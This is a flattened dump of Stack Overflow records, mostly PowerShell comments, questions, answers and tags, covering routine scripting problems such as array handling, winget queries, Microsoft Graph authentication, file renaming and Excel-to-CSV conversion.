has text: `$ConfigFiles.FullName` evaluates to an array, change `$AllConfigFiles.Add($ConfigFiles.FullName)` to `$AllConfigFiles.AddRange($ConfigFiles.FullName)`
score: 1

http://stackoverflow.com/comment/139921811
has text: Activate is one of either a .bat, .sh, .ps1 (these are created by the venv package). Typically in my terminal window in VS Code, I just cd into my project directory and type .\venv\Scripts\Activate with no extension included and it operates just fine. It is not a python script. Yep, adding in the ampersand fixed it, thank you very much!!
type: AnswerComment
score: 1
comment on: http://stackoverflow.com/a/79345788
type: Comment

http://stackoverflow.com/comment/140020103
score: 0
comment on: http://stackoverflow.com/a/79397448
type: AnswerComment
has text: That's not how Measure-Command works. You want `Measure-Command -Expression { .\path\to\script.ps1 }`
type: Comment

http://stackoverflow.com/comment/139834629
comment on: http://stackoverflow.com/q/79298186
type: QuestionComment
type: Comment
has text: use double-quotes, your character is being interpreted as a single-quote that requires escaping. see: https://i.imgur.com/Me0yLZ7.png
score: 1

google-chrome-devtools
tag name: google-chrome-devtools
tags question: http://stackoverflow.com/q/79358935
type: Tag

http://stackoverflow.com/comment/140024434
type: Comment
has text: @Hobbes np, glad it did!
score: 0
comment on: http://stackoverflow.com/a/79397654
type: AnswerComment

http://stackoverflow.com/comment/140067034
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79419763
score: 0
has text: @SomethingDark: The linked article makes it clear that VBScript _will_ be removed, though the timing hasn't been determined. As an intermediate phase of this hard deprecation, "around 2027" it will become necessary to re-activate VBScript as an optional feature.

http://stackoverflow.com/comment/139821491
comment on: http://stackoverflow.com/q/79290410
score: 0
has text: Have adjusted that in the code. However, still the same behavior occurs.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139761665
type: Comment
score: 0
has text: `return ,$result` should do the trick. However, I'd discourage from using the other suggested method as this returns always an array of count `1` regardless of the `-count` parameter…
comment on: http://stackoverflow.com/a/79257932
type: AnswerComment

http://stackoverflow.com/comment/140003899
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/79388999
has text: Works like a charm ! Thanks a lot, I would have never been able to find a solution, this required a lot of experience in batch scripting.
type: Comment

http://stackoverflow.com/comment/139997493
type: Comment
score: 1
comment on: http://stackoverflow.com/q/79385371
has text: I don't know why this twitches my brain so much whenever I see it :-), but you've got a *jagged* array, not a *multidimensional* array. The former is a single-dimension array where every entry is itself an array (e.g. ```$jagged[0][1]```), whereas the latter is a true "grid" of cells of N dimensions (e.g. ```$multi[0, 1]```). See https://blog.geekster.in/multidimensional-array-java-exploring-2d-arrays/ for a more detailed description (in java but the principle still applies)
type: QuestionComment

http://stackoverflow.com/comment/139920811
comment on: http://stackoverflow.com/q/79345015
type: QuestionComment
has text: Your orchestration trigger function should not be doing any I/O. It should only run activities. Activities can then do e.g. database writes.
type: Comment
score: 0

owner
tag name: owner
tags question: http://stackoverflow.com/q/79373919
type: Tag

http://stackoverflow.com/a/79415504
has comment: http://stackoverflow.com/comment/140056811
answers question: http://stackoverflow.com/q/79414856
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/79414856
upvote count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/140057010
has comment: http://stackoverflow.com/comment/140055568
has body: To provide an object-based alternative to Theo's helpful text parsing-based answer: There is (now) an official PowerShell module, Microsoft.WinGet.Client, which provides the functionality of the winget.exe CLI in the form of - by definition object-oriented - *-WinGet* cmdlets. You can install it by running, e.g., Install-Module -Scope CurrentUser Microsoft.WinGet.Client With this module installed, the solution can be simplified to the following: # -&gt;, e.g.: '24.09' (Get-WinGetPackage -Name 7-Zip).InstalledVersion
type: Answer
score: 2

azure-blob-storage
type: Tag
tag name: azure-blob-storage
tags question: http://stackoverflow.com/q/79375029

terraform-provider-azure
type: Tag
tag name: terraform-provider-azure
tags question: http://stackoverflow.com/q/79409855

http://stackoverflow.com/comment/139913881
score: 0
comment on: http://stackoverflow.com/a/79341652
type: AnswerComment
type: Comment
has text: Does this require .net?

http://stackoverflow.com/comment/140038408
type: QuestionComment
comment on: http://stackoverflow.com/q/79406020
has text: Its an external solution, but you might have a look at: [ObjectGraphTools](https://www.powershellgallery.com/packages/ObjectGraphTools): `$Test | Get-Node '*.*.group' | Where Value -Contains SUBSET`. As an aside: [avoid semicolons as line terminators](https://learn.microsoft.com/powershell/utility-modules/psscriptanalyzer/rules/avoidsemicolonsaslineterminators) and [avoid enclosing strings with smart quotes](https://github.com/PowerShell/PSScriptAnalyzer/issues/1936)
type: Comment
score: 0

http://stackoverflow.com/comment/139746375
comment on: http://stackoverflow.com/a/79248980
type: Comment
score: 0
has text: And why would you want to send a CTRL+C to a job when `Stop-Job` already allows the job to run its `clean` block? And btw, your current "solution" also does the same to a job, the `clean` block fails to run.
type: AnswerComment

http://stackoverflow.com/comment/140037670
type: QuestionComment
has text: @Theo was looking more to return a filtered hash map (where service2 in server1 is removed. Fair enough with the semi colons :p
comment on: http://stackoverflow.com/q/79406020
type: Comment
score: 0

keyboardinterrupt
type: Tag
tags question: http://stackoverflow.com/q/79392142
tag name: keyboardinterrupt

http://stackoverflow.com/q/79292488
tagged with: powershell
tagged with: outlook
score: 0
tagged with: authentication
has title: outlook.office.com Login-Token reuse
has body: I have strong PowerShell coding skills and am developing an app to automate and modify settings in the OWA (Outlook Web Access) frontend. For this, I’m using Selenium to interact with the website https://outlook.office.com/mail/. My app uses MFA (Multi-Factor Authentication), which works seamlessly without any issues during the initial login. Since accessing the settings requires mandatory MFA authentication, the user must authenticate securely. However, while the tool runs in the background, I’d prefer not to force the user to log in with MFA every single day. I want the tool to operate as long as the authentication token remains valid. Once the token expires or becomes invalid, only then should the user be prompted to log in again via MFA. Here’s where I’m struggling. I don’t know how to save and reuse the token during its validity period. From my research, I believe I need to use the OpenIdConnect token, but I’m unsure how to retrieve, save, and reuse it effectively in PowerShell with Selenium for a validated login. I found the website https://labs.lares.com/owa-cap-bypass/, but it is not directly related to PowerShell. Is there someone who can point me in the right direction or provide guidance on how to achieve this? Thanks, Manfred
type: UnansweredQuestion
tagged with: token
type: Question
answer count: 0

http://stackoverflow.com/comment/140045143
type: AnswerComment
comment on: http://stackoverflow.com/a/79403738
type: Comment
has text: this did not work for me
score: 0

http://stackoverflow.com/comment/140053663
comment on: http://stackoverflow.com/q/79414856
type: QuestionComment
type: Comment
score: 0
has text: `(winget list --name 7-Zip).Version` ?

http://stackoverflow.com/comment/139940398
score: 0
type: AnswerComment
has text: This is perfect. Thank you. I also reviewed the link you sent re: $results = $() and it is just not sinking in. I am not sure I understand how to fix it in the code above.
type: Comment
comment on: http://stackoverflow.com/a/79347074

atomic
tag name: atomic
type: Tag
tags question: http://stackoverflow.com/q/79265633

http://stackoverflow.com/comment/140022567
score: 0
comment on: http://stackoverflow.com/q/79395776
has text: Just thinking if using -set-location can solve my problem. But I am not sure how/where to use this in my script. Can anyone help please
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139822037
type: Comment
score: 0
has text: Last one - (may I send you a 6 pack of IPA?) :)
type: AnswerComment
comment on: http://stackoverflow.com/a/79288500

http://stackoverflow.com/comment/139989834
has text: Can you be more specific than "some entries"? Perhaps show us the code with which you modified the registry? A description of how you tested it and concluded it didn't seem to do anything might be helpful too
comment on: http://stackoverflow.com/q/79381522
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/139816643
comment on: http://stackoverflow.com/q/79286119
type: QuestionComment
type: Comment
score: 0
has text: this is just an example how you can reproduce it on your end. only the get-content taking that long...

http://stackoverflow.com/comment/140000060
comment on: http://stackoverflow.com/q/79383686
has text: As an aside: Unless you've manually customized the Dutch culture (`nl-NL`), the example of the short date pattern should be `24-1-2025` (Windows PowerShell) or `24-01-2025` (PowerShell 7), not `24/01/2025`
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/139789602
type: AnswerComment
has text: Technically speaking, this is still mounting it, just not providing a drive letter.
type: Comment
comment on: http://stackoverflow.com/a/79256249
score: 0

http://stackoverflow.com/comment/139740119
type: Comment
score: 1
has text: If I got you right this should be all you need: `Get-CimInstance -ClassName Win32_LogicalDisk | Where-Object -Property DriveType -EQ -Value 3`
comment on: http://stackoverflow.com/q/79245750
type: QuestionComment

http://stackoverflow.com/a/79311629
type: Answer
score: 0
answers question: http://stackoverflow.com/q/79311228
accepted answer of: http://stackoverflow.com/q/79311228
type: AcceptedAnswer
has body: Set-PSReadLineKeyHandler -Chord ' , ' -Function DeleteWord -ViMode Command

http://stackoverflow.com/comment/139850386
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79306447
score: 0
has text: Can you (manually) find the event back in the event log? If not, it is not a programming issue but a https://superuser.com/ question.

http://stackoverflow.com/a/79397277
has body: -whatif is your friend: echo hi > frag Get-ChildItem *frag* | Rename-Item -NewName "$($_.Name).png" -whatif What if: Performing the operation "Rename File" on target "Item: C:\Users\js\foo\frag Destination: C:\Users\js\foo\.png". With scriptblock and slight changes. Usually if you can pipe to a parameter like -NewName, you can use a scriptblock with it. (Get-ChildItem *frag*) | Rename-Item -NewName { $_.Name + '.png' } -whatif What if: Performing the operation "Rename File" on target "Item: C:\Users\js\foo\frag Destination: C:\Users\js\foo\frag.png".
score: 0
answers question: http://stackoverflow.com/q/79396258
type: Answer

http://stackoverflow.com/comment/140034970
score: 0
has text: Ok, thanks, I'll see if things change if I force type the property.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79401137

http://stackoverflow.com/comment/139768125
score: 0
comment on: http://stackoverflow.com/a/79259577
type: AnswerComment
has text: Thank you for the explanation and optimization, as well as the additional link! I had to add an additional Move-Item statement to pickup a couple of files in each directory. Added a Remove-Item to cleanup the source directories and everything worked like a charm. Marked as "Accepted".
type: Comment

http://stackoverflow.com/a/79450563
answers question: http://stackoverflow.com/q/79297824
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/79297824
has body: i just needed to use "set-azcontext" to a random subscription, then i worked
score: 0

http://stackoverflow.com/comment/140046249
comment on: http://stackoverflow.com/q/79409999
type: QuestionComment
type: Comment
has text: I think this comment needs some more context!
score: 0

http://stackoverflow.com/comment/139790200
comment on: http://stackoverflow.com/q/79271819
type: QuestionComment
type: Comment
score: 0
has text: Sorry, I missed out the `return` statement. Updated the question now.

http://stackoverflow.com/a/79431506
has body: Use ConvertFrom-Json to parse your JSON document into an object graph (comprised of nested [pscustomobject] instances), which allows you to access the objects and properties represented in the JSON document using regular dot notation, via ., the member-access operator. The following solution outputs a [pscustomobject] for each object in the input JSON, with .id and .RatedOI properties (only), using the Select-Object cmdlet; note that extracting a nested property value requires use of a calculated property: # Substitute your real file name/path for 'file.json' (Get-Content -Raw file.json | ConvertFrom-Json) | ForEach-Object { $useNext = $false foreach ($entity in $_.entitiesData.entities) { if ($entity.entityType -eq 'IHUR') { $useNext = $true # The very next object contains the data of interest. } elseif ($useNext) { # Extract the values of interest and output them as a # [pscustomobject] instance. $entity | Select-Object ` id, @{ Name = 'RatedOI'; Expression = { $_.characteristics.RatedOI.boolValue } } # Exit after having found the value of interest. # NOTE: If there can be *multiple* 'IHUR' object pairs, # and you want to extract information from all of them, # replace `break` with `$useNext = $false` break } } } With your sample JSON document, this yields the following display output: id RatedOI -- ------- 7af50dbb-7ea3-4458-adfe-a82198a8d96c True
accepted answer of: http://stackoverflow.com/q/79416406
type: AcceptedAnswer
upvote count: 2
downvote count: 0
type: Answer
score: 2
answers question: http://stackoverflow.com/q/79416406

http://stackoverflow.com/comment/139754328
type: QuestionComment
type: Comment
has text: @Rukmini It doesn't log it either
score: 0
comment on: http://stackoverflow.com/q/79253851

http://stackoverflow.com/comment/140003310
comment on: http://stackoverflow.com/a/79388711
score: 1
type: AnswerComment
has text: @Tryer: You can do `Start-Process bfile.bat`, but this will auto-close the window in which the batch file runs when the latter exits; to avoid that, use `Start-Process cmd '/k bfile.bat'`
type: Comment

http://stackoverflow.com/comment/139851947
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79307730
type: AnswerComment
has text: @mklement0 I think I make it work someway but I need more testing for myself, thank you, if you have any additions how to make it work better then I'll wait. I created a different .cmd and it worked, it didn't work inside the initial .cmd script which is pretty long.

http://stackoverflow.com/comment/139901670
score: 0
has text: going to try it
comment on: http://stackoverflow.com/q/79335299
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139791804
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/79274040
has text: I suggest using `$script:` instead of `$global:` as it will set the variable only for the script and will not leak outside of it. Setting it up before hand is also not necessary.
type: Comment

http://stackoverflow.com/comment/140049224
score: 0
has text: Thanks to Nate for his answer yesterday. (Although it looks like he's deleted it since.) I've learned a lot from his input, particularly regarding Invoke-Command. But I'm still looking for a path to generating a file from the output. Here's the reformulated script (written in large part by Nate):
comment on: http://stackoverflow.com/q/79409891
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139761927
type: Comment
comment on: http://stackoverflow.com/a/79257932
score: 1
has text: As an aside, [try avoid using the increase assignment operator (+=) to create a collection](https://stackoverflow.com/a/60708579/1701026) as it is less efficient.
type: AnswerComment

http://stackoverflow.com/comment/140030608
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79402635
has text: Assigning the current item to another variable is a nice clean solution.
type: Comment

http://stackoverflow.com/comment/139795941
type: QuestionComment
has text: There is also `[SomeClassName]::new(param1, param2, param3)`
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79276698

http://stackoverflow.com/q/79291055
type: Question
has answer: http://stackoverflow.com/a/79293202
answer count: 1
has body: I have situation of following. Azure Data Lake Gen2 is setup. Single Container has 2 folders.(folder1, folder2) I have setup Data lake gen2 with smap enabled. I created 2 smtp local users.(user1 , user2) My Goal is.. To make ACL setup on folder1 that user1 can R&W but cannot Write on folder2. To make ACL setup on folder2 that user2 can R&W but cannot write on folder1. Below is what what executedd on powershell with azure cmdlet. $acl = Set-AzDataLakeGen2ItemAclObject -AccessControlType user -EntityId $userID -Permission rwx Update-AzDataLakeGen2Item -Context $ctx -FileSystem $filesystemName -Path $dirname -Acl $acl And the output is following error. I am afraid, getting -EntityId for user1 is failing. the name of user does not work. also, SID from command " Get-AzStorageLocalUser -ResourceGroupName "myblobstorage" -StorageAccountName "myccount" " fails. as well.
has title: ACL for SMTP local user, on azure data lake gen2 folder
tagged with: smtp
tagged with: powershell
type: UnansweredQuestion
tagged with: azure-data-lake-gen2
tagged with: azure
tagged with: acl
score: 0
has comment: http://stackoverflow.com/comment/139825178

http://stackoverflow.com/comment/140055226
type: QuestionComment
type: Comment
score: 0
has text: ok i see, the character class are certainly not needed in that regex tho. and in powershell you don't need to double down on `"` only for c#. if the delimiter are always commas i'd use `(?<=,)"?is"?(?=,)`
comment on: http://stackoverflow.com/q/79415674

http://stackoverflow.com/comment/139936284
score: 1
comment on: http://stackoverflow.com/q/79353262
type: QuestionComment
type: Comment
has text: Have a look at the example on https://learn.microsoft.com/en-us/SQL/relational-databases/server-management-objects-smo/tasks/granting-revoking-and-denying-permissions?view=sql-server-2016#granting-server-permissions-in-powershell

http://stackoverflow.com/comment/139877409
comment on: http://stackoverflow.com/q/79322067
type: QuestionComment
type: Comment
has text: What have you tried so far? What exactly do you mean with *package*? Is your question related to the version 4.0 specifically? ... if not - please remove the tag. Thanks in advance.
score: 1

http://stackoverflow.com/comment/139977884
type: Comment
score: 1
comment on: http://stackoverflow.com/q/79375151
has text: It's the default table format. Any object be it psobject or not, that is displayed as a table will have that empty line at the end.
type: QuestionComment

http://stackoverflow.com/comment/139798496
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79276781
has text: I haven't used Wireshark in a while, but starting it, it appears I have no interfaces other than "Event Tracing for Windows (ETW) reader"--even when running as Administrator. Not sure why I cannot see my Ethernet interfaces.

exchangewebservices
tags question: http://stackoverflow.com/q/79357877
type: Tag
tags question: http://stackoverflow.com/q/79372408
tag name: exchangewebservices

naudio
tags question: http://stackoverflow.com/q/79295854
tag name: naudio
type: Tag

http://stackoverflow.com/comment/139746439
type: AnswerComment
has text: @SantiagoSquarzon Why not post a better solution? I think you know more about these parts of PowerShell than I do. I've tried to explain my reasoning in the answer, but I'm sure there are some things I've overlooked.
type: Comment
comment on: http://stackoverflow.com/a/79248980
score: 0

http://stackoverflow.com/q/79363011
has answer: http://stackoverflow.com/a/79363023
type: UnansweredQuestion
score: 1
favorite count: 0
upvote count: 1
answer count: 3
tagged with: powershell-core
has body: I can create arrays containing multiple arrays. Example: @(@('a', 'b'), @('c', 'd')) returns @(@('a', 'b'), @('c', 'd')) But an array containing a single array is automatically flattened. Example: @(@('a', 'b')) returns @('a', 'b') ,@(@('a', 'b')) returns @('a', 'b') Even with deep nested arrays: @(@(@('a', 'b'))) returns @('a', 'b') ,@(@(@('a', 'b'))) returns @('a', 'b') @(@(@(@(@(@(@(@(@(@('a', 'b')))))))))) returns @('a', 'b') ,@(@(@(@(@(@(@(@(@(@('a', 'b')))))))))) returns @('a', 'b') Converting to/from JSON is broken: '"a", "b"' | ConvertFrom-Json | ConvertTo-Json returns ["a", "b"] Updated for more context I'm trying to port a function from another language that group elements based on a defined pair of connections. So: if x is [['a', 'b'], ['b', 'c'], ['e', 'f']], f(x) will be [['a', 'b', 'c'], ['e', 'f']] if x is [['a', 'b'], ['b', 'c'], ['e', 'f'], ['c', 'e']], f(x) will be 'a', 'b', 'c', 'e', 'f' https://imgur.com/a/QdVOebv Here is the JavaScript implementation: function group(connections) { let groups = []; connections.forEach(connection => { let group = groups.find(g => g.some(item => connection.includes(item))); if (group) { const groupIndex = groups.indexOf(group); groups[groupIndex] = [...new Set([...group, ...connection])]; } else { groups.push(connection); } }); return connections.length === groups.length ? groups : group(groups); } Here is my attempt to port to PowerShell function Group-Connections { param ([Parameter(Mandatory=$true)] [Array]$connections) $groups = @() foreach ($connection in $connections) { $group = $groups | Where-Object { $_ | ForEach-Object { $connection -contains $_ } } if ($group) { $index = $groups.IndexOf($group) $groups[$index] = $group + $connection | Sort-Object -Unique } else { $groups += $($connection) } } if ($connections.Length -eq $groups.Length) { return $groups } else { return Group-Connections -connections $groups } } Apparently, my assumption is wrong on the behavior of the arrays. For example: $groups …
type: Question
has answer: http://stackoverflow.com/a/79364254
has answer: http://stackoverflow.com/a/79481334
downvote count: 0
tagged with: powershell
has title: Can't create an array containing a single array in PowerShell 7 (Core)

http://stackoverflow.com/comment/139888598
type: Comment
has text: Works like a charm! Thank you always!
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/79327155

http://stackoverflow.com/comment/139956112
comment on: http://stackoverflow.com/q/79362806
type: QuestionComment
type: Comment
score: 0
has text: @DougMaurer i am using v5.1 initially and it must relaunch to v7 so why must pwsh be changed?

http://stackoverflow.com/comment/139994760
has text: I don't have a real answer, but it's worth installing the produced msi with logging enabled and seeing if the action is mentioned and what happens to it
type: QuestionComment
comment on: http://stackoverflow.com/q/79375630
type: Comment
score: 0

http://stackoverflow.com/comment/140055568
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79415504
has text: Like winget though, it doesn't work as the system user.
type: Comment

http://stackoverflow.com/a/79385553
type: Answer
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/79359037
has body: I never use Excel in scripts. I convert the Excel file to CSV and then Import-CSV and then you can get more reliable data. Each entry from Import-Csv is an object, and you can add members, expand them, lots of options. $loc = "A:\Reporting\20240523\XLSX" $excelFiles = Get-ChildItem $loc -File | ?{$_.Extension -match "xls"} cls foreach($file in $excelFiles){ $excel = New-Object -ComObject Excel.Application $excel.Visible = $false $excel.DisplayAlerts = $true $wb = $excel.Workbooks.Open($file.FullName) if(!(Test-Path "$loc\CSVs\")){ New-Item -Path $loc -Name "CSVs" -ItemType Directory } $csvLoc = "$loc\CSVs\" foreach($ws in $wb.Worksheets){ $fullName = $file.FullName #Option 1 $ws.SaveAs($csvLoc + ($file.BaseName + "_" + $ws.Name) + ".csv", 6) #Option 2 #$ws.SaveAs($csvLoc + $file.BaseName + ".csv", 6) #Option 3 #$ws.SaveAs($csvLoc + $ws.Name.Replace(" ","_") + ".csv", 6) } $excel.Quit() }
downvote count: 0

http://stackoverflow.com/comment/139740725
score: 1
has text: Thanks for opening the GitHub issue, @alx9r - I've added a link to the answer. As for cooperative termination of an arbitrary process: _Conceptually_, there is indeed no and there _cannot be_ a guarantee that cleanup will be performed, in the absence of being able to guarantee that any and all processes are designed to handle cooperative termination. _Technically_, a _runtime underlying a given process_, such as .NET in the case of PowerShell, _may_ implement at least _partial_ cleanup at a lower level.
comment on: http://stackoverflow.com/a/79245869
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/140063367
comment on: http://stackoverflow.com/q/79420062
type: QuestionComment
score: 2
type: Comment
has text: Add the `-WhatIf` switch to `rename-item` and make sure the replacement is as expected. You might have multiple files with almost same names, so the renamed Installed.pdf isn't what you think it is.

http://stackoverflow.com/q/79298131
linked to: http://stackoverflow.com/q/38269209
type: Question
downvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/139835298
score: 2
has answer: http://stackoverflow.com/a/79298593
upvote count: 2
accepted answer: http://stackoverflow.com/a/79298593
has title: transferring files that starts with digits from source directory to destination directory
tagged with: powershell
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/139837777
has comment: http://stackoverflow.com/comment/139834704
has body: I want a PowerShell script that copies the files that starts with 4 digits from source directory to destination directory. It also searches the source directory for any sub folders and copy the files from the sub folders that has starting of 4 digits and copy them to destination directory. It should leave all the files that starts with alphabet or any file name that has name starting with less than 4 digits. Below are the images for what I want to achieve: I want to copy all the files except the one that does not start with four digits and the ones that does not have any digits at all so from the above screenshot, I don't want 1.pdf and New Test Documet.txt file to be copied to destination folder. This is what I tried to write: Get-ChildItem -Recurse -File -LiteralPath D:\testDigits -Include [0-9][0-9][0-9][0-9] -exclude [a-z][A-Z] | Copy-Item -Destination D:\transferTo\ transferTo is the name of the destination folder. The above script is transferring all the files including 1.pdf and New Test Documet.txt to the destination folder. Not sure, what am I doing wrong.
linked to: http://stackoverflow.com/q/60171057
favorite count: 0

http://stackoverflow.com/comment/139871454
type: Comment
score: 1
has text: I also appreciate the reference to learn more about PowerShell scope domains. I will definitely read that over.
comment on: http://stackoverflow.com/a/79318620
type: AnswerComment

http://stackoverflow.com/comment/140023335
type: Comment
score: 1
has text: Yes, that works. Thanks!
comment on: http://stackoverflow.com/a/79397654
type: AnswerComment

http://stackoverflow.com/comment/139796499
type: Comment
score: 0
has text: Hmmm... Does `$MailItems.Item(1).Display()` show the expected data?
comment on: http://stackoverflow.com/a/79270136
type: AnswerComment

http://stackoverflow.com/comment/139979741
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79372783
has text: Thanks for the recommendation to use the Graph API, once I found a couple of videos on it it just fell into place, haven't got the script done yet, but I think it's going to work. Plus the Graph API promises to be very useful generally
type: AnswerComment

http://stackoverflow.com/comment/140034817
score: 0
has text: Add `funFromModuleA` to the list of exported commands in the module manifest for module A, let PowerShell's module autoloading facility take care of the rest
type: QuestionComment
comment on: http://stackoverflow.com/q/79404983
type: Comment

http://stackoverflow.com/comment/140064665
has text: Glad to hear it helped, @Sam. Not restoring the original encoding is a problem if, later in the same session, you run a different console application that emits OEM-encoded output, because PowerShell will then misinterpret _that_
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79400555
score: 1

http://stackoverflow.com/comment/139885113
score: 0
has text: There is an option called modules under shared resources in an automation account. You can install the modules from there. @user3276487
comment on: http://stackoverflow.com/q/79325726
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139902805
type: Comment
has text: Did you try this in a new function app Or the existing one?
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79335176

http://stackoverflow.com/comment/140048616
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79391497
type: Comment
has text: @HomeroEsmeraldo Multiple runs work for me. You can downgrade powershell 7.5 or upgrade conda to 25.1.1.

http://stackoverflow.com/comment/139813261
type: Comment
score: 1
has text: Run it from a command prompt instead of by double-clicking the file, so you can see the output that is produced.
comment on: http://stackoverflow.com/q/79286415
type: QuestionComment

extended-events
type: Tag
tag name: extended-events
tags question: http://stackoverflow.com/q/79325726

http://stackoverflow.com/comment/139969497
comment on: http://stackoverflow.com/q/79352193
has text: which one? Most of the posts are from MsJinLea. I read all but do not see how this relates to my problem. I do not have a problem in ISE and i also do not have a login popup problem.
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/q/79321769
favorite count: 0
has answer: http://stackoverflow.com/a/79365203
accepted answer: http://stackoverflow.com/a/79365203
downvote count: 2
has title: VMware vSphere cross vCenter VM template clone via SDK
type: Question
tagged with: sdk
tagged with: vsphere
has body: Creating a VM template clone cross vCenter via SDK - not PowerCLI cmdlet! - is done by the method CloneVM_Task of a VM template object. This task is done like this: $vc_source = '____DNSNAME1____' $vc_dest = '____DNSNAME2____' $cred = Get-Credential -Title 'credential for destination vCenter' Connect-VIServer -Server $vc_source $vc = Connect-VIServer -Server $vc_dest ### get VM template... $tmpl = Get-View -ViewType VirtualMachine -Filter @{ Name = '____VM_TEMPLATE_NAME____'; 'Config.Template' = 'TRUE' } -Server $vc_source # get VM template ESXi host name: (Get-View -Id $tmpl.Runtime.Host -Property Name -Server $vc_source).Name # get all VM template disks: $aHD_tmpl = $tmpl.Config.Hardware.Device | ?{ $_ -is [VMware.Vim.VirtualDisk] } # get all VM template network interface cards: $aNIC_tmpl = $tmpl.Config.Hardware.Device | ?{ $_ -is [VMware.Vim.VirtualVmxnet] } ### create VM template clone specification... $spec = [VMware.Vim.VirtualMachineCloneSpec]::new() ... $spec.Location = [VMware.Vim.VirtualMachineRelocateSpec]::new() ... $spec.Location.Service = [VMware.Vim.ServiceLocator]::new() ... To place the new VM template clone in the destination vCenter, it is required to specify $spec.Location.Service.Credential with following property Token (using Code Capture): ### failed to use &quot;[VMware.Vim.ServiceLocatorSAMLCredential]&quot;... $spec.Location.Service.Credential = [VMware.Vim.ServiceLocatorSAMLCredential]::new() $spec.Location.Service.Credential.Token = 'Sensitive data is not recorded' $spec.Location.Service.SslThumbprint = ... $spec.Location.Service.InstanceUuid = ... $spec.Location.Service.Url = 'https://____FQDN_VC____:443/sdk' To start the VM template cloning task: ... $folder = [VMware.Vim.ManagedObjectReference]::new() $folder.Type = 'Folder' $folder.Value = ... $name = '____VMNAME____' $vmClone_task = $tmpl.CloneVM_Task($folder, $name, $spec) I failed to set $spec.Location.Service.Credential = [VMware.Vim.ServiceLocatorSAMLCredential]::new() Using the…
tagged with: powershell
answer count: 1
type: AnsweredQuestion
upvote count: 2
tagged with: vmware
score: 0

http://stackoverflow.com/comment/139999808
type: QuestionComment
has text: You can use the [**&** Call operator](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_operators?view=powershell-7.5&viewFallbackFrom=powershell-7.1#call-operator-) to run the command and capture the output as string like `& w32tm /stripchart /computer:$ntpserver /dataonly /samples:5 | Out-String` or like this: `$ntpTime = (& w32tm /stripchart /computer:$ntpserver /dataonly /samples:5)`
type: Comment
comment on: http://stackoverflow.com/q/79383065
score: 0

http://stackoverflow.com/comment/139777515
has text: @alx9r, as this answer states, there are indeed many ways in which instances constructed on the RHS of an assignment may _not_ end up in the target variable - just by the logic of assignments themselves, irrespective of whether or not `Stop-Job` is used. The focus of my statement is: _assuming that the RHS has run to completion and can be assigned to the target variable without violating a type constraint_, is there a way for `Stop-Job` to get in the way of the assignment? I'm hesitant to dig into all of your repro code, given that I don't see a `Stop-Job` call in it.
score: 0
comment on: http://stackoverflow.com/a/79266755
type: AnswerComment
type: Comment

http://stackoverflow.com/a/79352275
has comment: http://stackoverflow.com/comment/139970280
score: 0
has body: The issue is most likely in line: Connect-MgGraph -ClientId $clientId -TenantId $tenantId -ClientSecret $clientSecretPlainText The newer versions of this cmdlet don't have a separated -ClientId and -ClientSecret, instead it has a single -ClientSecretCredential parameter and it takes a PSCredential object as argument, so change: $secureClientSecret = Get-Secret -Name "PnPAppSecret" # Skapa ett PSCredential-objekt om det behövs $clientSecretPlainText = [System.Runtime.InteropServices.Marshal]::PtrToStringUni( [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureClientSecret) ) # Autentisera mot Microsoft Graph direkt med klient-ID, tenant-ID och klienthemlighet Connect-MgGraph -ClientId $clientId -TenantId $tenantId -ClientSecret $clientSecretPlainText To the following: $secureClientSecret = Get-Secret -Name 'PnPAppSecret' # Autentisera mot Microsoft Graph direkt med klient-ID, tenant-ID och klienthemlighet $connectMgGraphSplat = @{ TenantId = $tenantId ClientSecretCredential = [pscredential]::new($clientId, $secureClientSecret) } Connect-MgGraph @connectMgGraphSplat
answers question: http://stackoverflow.com/q/79352065
type: Answer
has comment: http://stackoverflow.com/comment/139969286

http://stackoverflow.com/comment/139815030
comment on: http://stackoverflow.com/q/79286415
type: QuestionComment
type: Comment
has text: `<` and `>` also needs to be escaped if you run like that, because single quotes `'` [are just normal characters in cmd](https://superuser.com/a/1202207/241386), which makes your command receives `<utf-16/` as the input redirection and `>TheBIOSPassword','` as the output stream, and then redirect stdin/stdout again => syntax error. Always use `"` in cmd
score: 0

http://stackoverflow.com/comment/139846465
type: AnswerComment
has text: Yeah, but that's what i said. The characters are stored in a continious bytes sequence (e.g. chars). Quote from [std::string wikipedia page] (https://en.m.wikipedia.org/wiki/C%2B%2B_string_handling): "The individual units making up the string are of type char, at least (and almost always) 8 bits each. In modern usage these are often not "characters", but parts of a multibyte character encoding such as UTF-8".
comment on: http://stackoverflow.com/a/79304065
type: Comment
score: 0

http://stackoverflow.com/comment/139904644
type: Comment
comment on: http://stackoverflow.com/q/79329816
score: 0
